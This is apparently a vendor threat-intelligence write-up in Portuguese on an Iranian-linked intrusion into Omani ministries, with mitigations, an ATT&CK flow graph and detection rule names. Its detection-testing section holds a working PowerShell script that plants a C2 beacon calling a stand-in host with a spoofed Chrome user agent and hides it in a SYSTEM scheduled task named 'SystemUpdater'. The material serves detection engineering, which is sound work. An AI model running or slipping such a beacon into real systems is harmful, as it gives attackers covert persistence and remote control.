Ataque com Vínculo Iraniano Exponha Registros de 26.000 Cidadãos em Omã
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um ator de ameaça iraniano alinhado ao estado comprometeu vários ministérios do governo em Omã usando webshells, exploits ProxyShell e um ambiente de comando e controle personalizado hospedado em um VPS baseado nos Emirados Árabes Unidos. Os atacantes exfiltraram mais de 26.000 registros de usuários e hives do registro, depois implantaram ferramentas pós-comprometimento, incluindo Chisel e GodPotato, para aprofundar o acesso. A operação foi ainda mais exposta por um diretório aberto que revelou inadvertidamente as ferramentas, scripts e logs C2 dos atacantes, proporcionando visibilidade de todo o ciclo de intrusão.
Investigação
Pesquisadores acessaram o VPS exposto em 172.86.76.127 e identificaram webshells, scripts de comando e controle baseados em Python, ferramentas de escalonamento de privilégios e vários scripts de exploit visando ProxyShell e a vulnerabilidade DNN SSRF. Os logs de rede mostraram atividade de beacon através das portas 8001 and 8002, além do uso de túneis Chisel para acesso discreto. A investigação também documentou a criação de tarefas agendadas, extração de hives do registro e despejo massivo de dados de sistemas comprometidos.
Mitigação
As organizações devem aplicar todos os patches relacionados ao ProxyShell no Microsoft Exchange e remediar o problema DNN SSRF rastreado como CVE-2025-32372. Aplicações web devem ser reforçadas, contas IIS devem operar com privilégios mínimos e páginas ASP.NET inativas devem ser desativadas sempre que possível. Os defensores também devem implantar firewalls de aplicações web, monitorar o tráfego de saída por portas incomuns e inspecionar regularmente servidores expostos à internet em busca de diretórios abandonados ou expostos.
Resposta
As equipes de segurança devem criar detecções para padrões de acesso a webshell, comportamentos de beaconing do PowerShell, atividade de túneis Chisel e criação de tarefas agendadas suspeitas. Os respondedores de incidente devem coletar logs de servidores web, hives do registro e qualquer despejo de banco de dados para análise forense. Sistemas afetados devem ser isolados, credenciais rotacionadas, e as autoridades ou partes interessadas em Omã notificadas sem demora.
"graph TB %% Class Definitions Section classDef technique fill:#c2e0ff classDef tool fill:#cccccc %% Node Definitions u2013 Techniques initial_access["<b>Técnica</b> – <b>T1190 Explorar Aplicação Exposta</b><br/>Método: ProxyShell & DNN SSRF"] class initial_access technique remote_services["<b>Técnica</b> – <b>T1210 Exploração de Serviços Remotos</b><br/>Movimento lateral"] class remote_services technique web_shell["<b>Técnica</b> – <b>T1505.003 Web Shell</b><br/>Implantado: hc2.aspx / health_check_t.aspx"] class web_shell technique c2_bidir["<b>Técnica</b> – <b>T1102.002 Comunicação Bidirecional de Serviço Web</b><br/>Servidor HTTP C2"] class c2_bidir technique tunneling["<b>Técnica</b> – <b>T1572 Tunelamento de Protocolo</b> & <b>T1219.001 Tunelamento IDE</b><br/>Ferramenta: Chisel"] class tunneling technique weaken_enc["<b>Técnica</b> – <b>T1600 Enfraquecer Criptografia</b><br/>Aplicada ao túnel"] class weaken_enc technique priv_esc["<b>Técnica</b> – <b>T1134.003 Manipulação de Token de Acesso</b> & <b>T1068 Exploração para Escalonamento de Privilégios</b><br/>Ferramenta: GodPotato"] class priv_esc technique account_manip["<b>Técnica</b> – <b>T1098 Manipulação de Conta</b><br/>Manter direitos elevados"] class account_manip technique cred_access["<b>Técnica</b> – <b>T1012 Consultar Registro</b><br/>Roubar hives SAM/System"] class cred_access technique def_evasion["<b>Técnica</b> – <b>T1562 Prejudicar Defesas</b> & <b>T1668 Controle Exclusivo</b><br/>Desabilitar AV"] class def_evasion technique discovery["<b>Técnica</b> – <b>T1592.002 Reunir Informações do Host da Vítima</b> & <b>T1590.001 Propriedades do Domínio de Rede</b>"] class discovery technique exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Pelo Canal C2</b> & <b>T1030 Limites de Tamanho de Transferência de Dados</b>"] class exfiltration technique oneway["<b>Técnica</b> – <b>T1102.003 Comunicação Unidirecional de Serviço Web</b><br/>Postagem de resultados"] class oneway technique %% Node Definitions u2013 Tools / Malware tool_proxyshell["<b>Ferramenta</b> – <b>Nome</b>: ProxyShell<br/><b>Propósito</b>: Explorar Exchange Server"] class tool_proxyshell tool tool_chisel["<b>Ferramenta</b> – <b>Nome</b>: Chisel<br/><b>Propósito</b>: Tunelamento"] class tool_chisel tool tool_godpotato["<b>Ferramenta</b> – <b>Nome</b>: GodPotato<br/><b>Propósito</b>: Escalonamento de privilégios"] class tool_godpotato tool %% Connections u2013 Attack Flow initial_access –>|leads_to| remote_services initial_access –>|uses| tool_proxyshell remote_services –>|leads_to| web_shell web_shell –>|enables| c2_bidir c2_bidir –>|uses| tunneling tunneling –>|uses| tool_chisel tunneling –>|enables| weaken_enc weaken_enc –>|enables| priv_esc priv_esc –>|uses| tool_godpotato priv_esc –>|enables| account_manip account_manip –>|enables| cred_access cred_access –>|enables| def_evasion def_evasion –>|enables| discovery discovery –>|enables| exfiltration exfiltration –>|uses| oneway "
Fluxo de Ataque
Detecções
A Possibilidade de Execução Através de Linhas de Comando do PowerShell Ocultas (via cmdline)
Ver
Download ou Upload via PowerShell (via cmdline)
Ver
Possível Enumeração ou Manipulação de Conta ou Grupo (via cmdline)
Ver
Schtasks do LOLBAS (via cmdline)
Ver
IOCs (HashSha256) para detectar: Operação de Nexus Iraniano Contra o Governo de Omã: 12 Ministérios Atingidos e 26.000 Registros de Cidadãos Expostos
Ver
IOCs (SourceIP) para detectar: Operação de Nexus Iraniano Contra o Governo de Omã: 12 Ministérios Atingidos e 26.000 Registros de Cidadãos Expostos
Ver
IOCs (DestinationIP) para detectar: Operação de Nexus Iraniano Contra o Governo de Omã: 12 Ministérios Atingidos e 26.000 Registros de Cidadãos Expostos
Ver
Detecção de Webshells hc2.aspx e health_check_t.aspx e Exploração ProxyShell [Webserver]
Ver
Detecção de Consulta e Exfiltração de Comandos PowerShell via User-Agent Chrome Falsificado [Windows PowerShell]
Ver
Execução de Simulação
Pré-requisito: O Check Prévio de Telemetria e Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.
-
Narrativa do Ataque e Comandos:
O atacante já ganhou uma posição na máquina da vítima e deseja estabelecer um beacon C2 de baixo ruído. Eles deixam o script PowerShell new_beacon.ps1 na pasta AppData do usuário. O script é executado em um loop infinito, consultando um C2 remoto a cada 30 segundos. Cada solicitação HTTP é elaborada com uma string UA do Chrome para se misturar ao tráfego web normal, evitando assim detecções baseadas na rede (T1217, T1674). O atacante inicia o beacon por meio de uma tarefa agendada para garantir persistência (T1204.004). -
Script de Teste de Regressão:
# ------------------------------------------------- # Implantar e iniciar o beacon PowerShell new_beacon # ------------------------------------------------- $beaconPath = "$env:APPDATAnew_beacon.ps1" $c2Url = "http://malicious.example.com/beacon" # 1. Escrever o script beacon (versão simulada e leve) $scriptContent = @' while ($true) { $headers = @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36" } try { Invoke-WebRequest -Uri "$using:c2Url" -Headers $headers -Method GET -TimeoutSec 10 | Out-Null } catch {} Start-Sleep -Seconds 30 } '@ Set-Content -Path $beaconPath -Value $scriptContent -Encoding UTF8 # 2. Registrar uma tarefa agendada para persistência (executa a cada minuto) $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File `"$beaconPath`"" $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration ([TimeSpan]::MaxValue) $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest Register-ScheduledTask -TaskName "SystemUpdater" -Action $action -Trigger $trigger -Principal $principal -Force Write-Host "Beacon implantado e tarefa agendada criada." -
Comandos de Limpeza:
# ------------------------------------------------- # Remover beacon e tarefa agendada # ------------------------------------------------- $beaconPath = "$env:APPDATAnew_beacon.ps1" Unregister-ScheduledTask -TaskName "SystemUpdater" -Confirm:$false Remove-Item -Path $beaconPath -Force -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."